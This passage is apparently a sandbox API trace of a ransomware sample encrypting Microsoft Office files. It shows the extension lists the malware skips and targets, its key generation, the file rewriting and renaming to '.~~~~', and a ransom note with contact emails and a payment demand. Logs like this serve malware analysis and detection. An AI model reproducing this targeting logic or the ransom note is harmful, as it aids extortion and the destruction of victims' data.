	[0145.543] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.543] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.543] CloseHandle (hObject=0x10c) returned 1
	[0145.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0145.544] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.~~~~")) returned 1
	[0145.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0145.547] GetLastError () returned 0x0
	[0145.547] RtlWakeConditionVariable () returned 0x0
	[0145.547] GetCurrentThreadId () returned 0xaf0
	[0145.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".scr") returned 0x0
	[0145.547] lstrlenW (lpString=".cmd") returned 4
	[0145.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".cmd") returned 0x0
	[0145.547] lstrlenW (lpString=".dll") returned 4
	[0145.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".dll") returned 0x0
	[0145.547] lstrlenW (lpString=".bat") returned 4
	[0145.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".bat") returned 0x0
	[0145.547] lstrlenW (lpString=".cpl") returned 4
	[0145.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".cpl") returned 0x0
	[0145.547] lstrlenW (lpString=".sys") returned 4
	[0145.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".sys") returned 0x0
	[0145.547] lstrlenW (lpString=".msc") returned 4
	[0145.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".msc") returned 0x0
	[0145.548] lstrlenW (lpString=".com") returned 4
	[0145.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".com") returned 0x0
	[0145.548] lstrlenW (lpString=".lnk") returned 4
	[0145.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".lnk") returned 0x0
	[0145.548] lstrlenW (lpString=".msp") returned 4
	[0145.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".msp") returned 0x0
	[0145.548] lstrlenW (lpString=".pif") returned 4
	[0145.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".pif") returned 0x0
	[0145.548] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0145.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.551] lstrlenW (lpString=".sqb") returned 4
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".sqb") returned 0x0
	[0145.551] lstrlenW (lpString=".ost") returned 4
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".ost") returned 0x0
	[0145.551] lstrlenW (lpString=".txt") returned 4
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".txt") returned 0x0
	[0145.551] lstrlenW (lpString=".mdt") returned 4
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".mdt") returned 0x0
	[0145.551] lstrlenW (lpString=".BDB") returned 4
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".BDB") returned 0x0
	[0145.551] lstrlenW (lpString=".eql") returned 4
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".eql") returned 0x0
	[0145.551] lstrlenW (lpString=".DBF") returned 4
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".DBF") returned 0x0
	[0145.551] lstrlenW (lpString=".EQL") returned 4
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".EQL") returned 0x0
	[0145.551] lstrlenW (lpString=".FDB") returned 4
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".FDB") returned 0x0
	[0145.551] lstrlenW (lpString=".EDB") returned 4
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".EDB") returned 0x0
	[0145.551] lstrlenW (lpString=".DACPAC") returned 7
	[0145.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0145.551] lstrlenW (lpString=".VHD") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".VHD") returned 0x0
	[0145.552] lstrlenW (lpString=".DBV") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".DBV") returned 0x0
	[0145.552] lstrlenW (lpString=".dacpac") returned 7
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0145.552] lstrlenW (lpString=".sdf") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".sdf") returned 0x0
	[0145.552] lstrlenW (lpString=".accdb") returned 6
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".accdb") returned 0x0
	[0145.552] lstrlenW (lpString=".DBX") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".DBX") returned 0x0
	[0145.552] lstrlenW (lpString=".MDT") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".MDT") returned 0x0
	[0145.552] lstrlenW (lpString=".SQB") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".SQB") returned 0x0
	[0145.552] lstrlenW (lpString=".vhd") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".vhd") returned 0x0
	[0145.552] lstrlenW (lpString=".bac") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".bac") returned 0x0
	[0145.552] lstrlenW (lpString=".mdf") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".mdf") returned 0x0
	[0145.552] lstrlenW (lpString=".BAK") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".BAK") returned 0x0
	[0145.552] lstrlenW (lpString=".BAC") returned 4
	[0145.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".BAC") returned 0x0
	[0145.553] lstrlenW (lpString=".dbs") returned 4
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".dbs") returned 0x0
	[0145.553] lstrlenW (lpString=".vhdx") returned 5
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0145.553] lstrlenW (lpString=".NDF") returned 4
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".NDF") returned 0x0
	[0145.553] lstrlenW (lpString=".dat") returned 4
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".dat") returned 0x0
	[0145.553] lstrlenW (lpString=".DBS") returned 4
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".DBS") returned 0x0
	[0145.553] lstrlenW (lpString=".CKP") returned 4
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".CKP") returned 0x0
	[0145.553] lstrlenW (lpString=".edb") returned 4
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".edb") returned 0x0
	[0145.553] lstrlenW (lpString=".PST") returned 4
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".PST") returned 0x0
	[0145.553] lstrlenW (lpString=".dbf") returned 4
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".dbf") returned 0x0
	[0145.553] lstrlenW (lpString=".SQL") returned 4
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".SQL") returned 0x0
	[0145.553] lstrlenW (lpString=".pst") returned 4
	[0145.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".pst") returned 0x0
	[0145.553] lstrlenW (lpString=".dbv") returned 4
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".dbv") returned 0x0
	[0145.554] lstrlenW (lpString=".SDF") returned 4
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".SDF") returned 0x0
	[0145.554] lstrlenW (lpString=".dtxs") returned 5
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0145.554] lstrlenW (lpString=".db3") returned 4
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".db3") returned 0x0
	[0145.554] lstrlenW (lpString=".OST") returned 4
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".OST") returned 0x0
	[0145.554] lstrlenW (lpString=".dbx") returned 4
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".dbx") returned 0x0
	[0145.554] lstrlenW (lpString=".DB3") returned 4
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".DB3") returned 0x0
	[0145.554] lstrlenW (lpString=".DAT") returned 4
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".DAT") returned 0x0
	[0145.554] lstrlenW (lpString=".VHDX") returned 5
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0145.554] lstrlenW (lpString=".ndf") returned 4
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".ndf") returned 0x0
	[0145.554] lstrlenW (lpString=".DB") returned 3
	[0145.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".DB") returned 0x0
	[0145.554] lstrlenW (lpString=".sql") returned 4
	[0145.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".sql") returned 0x0
	[0145.555] lstrlenW (lpString=".MYD") returned 4
	[0145.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".MYD") returned 0x0
	[0145.555] lstrlenW (lpString=".DBT") returned 4
	[0145.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".DBT") returned 0x0
	[0145.555] lstrlenW (lpString=".ACCDB") returned 6
	[0145.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0145.555] lstrlenW (lpString=".fdb") returned 4
	[0145.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".fdb") returned 0x0
	[0145.555] lstrlenW (lpString=".bak") returned 4
	[0145.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".bak") returned 0x0
	[0145.555] lstrlenW (lpString=".myd") returned 4
	[0145.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".myd") returned 0x0
	[0145.555] lstrlenW (lpString=".DTXS") returned 5
	[0145.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0145.555] lstrlenW (lpString=".ckp") returned 4
	[0145.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".ckp") returned 0x0
	[0145.555] lstrlenW (lpString=".dbt") returned 4
	[0145.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".dbt") returned 0x0
	[0145.556] lstrlenW (lpString=".db") returned 3
	[0145.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".db") returned 0x0
	[0145.556] lstrlenW (lpString=".TXT") returned 4
	[0145.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".TXT") returned 0x0
	[0145.556] lstrlenW (lpString=".MDF") returned 4
	[0145.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".MDF") returned 0x0
	[0145.556] lstrlenW (lpString=".bdb") returned 4
	[0145.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".bdb") returned 0x0
	[0145.556] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0145.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.556] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3956b8) returned 1
	[0145.558] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.558] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0145.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0145.558] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26554841274) returned 1
	[0145.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc028b7b0, dwHighDateTime=0x1d60e1e)) 
	[0145.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0145.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0145.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0145.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3802e0
	[0145.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3802e0 | out: hHeap=0x300000) returned 1
	[0145.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6d98
	[0145.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.559] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0145.650] GetLastError () returned 0x0
	[0145.650] GetLastError () returned 0x0
	[0145.650] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0145.650] GetLastError () returned 0x0
	[0145.650] GetLastError () returned 0x0
	[0145.650] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0xd1, lpOverlapped=0x0) returned 1
	[0145.682] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffff2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.682] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0xd1, lpOverlapped=0x0) returned 1
	[0145.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0145.682] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.682] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.682] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.682] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.682] CloseHandle (hObject=0x10c) returned 1
	[0145.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0210
	[0145.683] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.~~~~")) returned 1
	[0145.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0145.685] GetLastError () returned 0x0
	[0145.685] RtlWakeConditionVariable () returned 0x0
	[0145.685] GetCurrentThreadId () returned 0xaf0
	[0145.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Read~ME.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.687] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0145.687] WriteFile (in: hFile=0x10c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0145.689] CloseHandle (hObject=0x10c) returned 1
	[0145.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c7090 | out: hHeap=0x300000) returned 1
	[0145.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x300000) returned 1
	[0145.689] RtlWakeConditionVariable () returned 0x0
	[0145.689] GetCurrentThreadId () returned 0xaf0
	[0145.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".scr") returned 0x0
	[0145.689] lstrlenW (lpString=".cmd") returned 4
	[0145.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".cmd") returned 0x0
	[0145.689] lstrlenW (lpString=".dll") returned 4
	[0145.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".dll") returned 0x0
	[0145.689] lstrlenW (lpString=".bat") returned 4
	[0145.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".bat") returned 0x0
	[0145.689] lstrlenW (lpString=".cpl") returned 4
	[0145.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".cpl") returned 0x0
	[0145.689] lstrlenW (lpString=".sys") returned 4
	[0145.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".sys") returned 0x0
	[0145.689] lstrlenW (lpString=".msc") returned 4
	[0145.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".msc") returned 0x0
	[0145.690] lstrlenW (lpString=".com") returned 4
	[0145.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".com") returned 0x0
	[0145.690] lstrlenW (lpString=".lnk") returned 4
	[0145.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".lnk") returned 0x0
	[0145.690] lstrlenW (lpString=".msp") returned 4
	[0145.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL", lpSrch=".msp") returned 0x0
	[0145.690] lstrlenW (lpString=".pif") returned 4
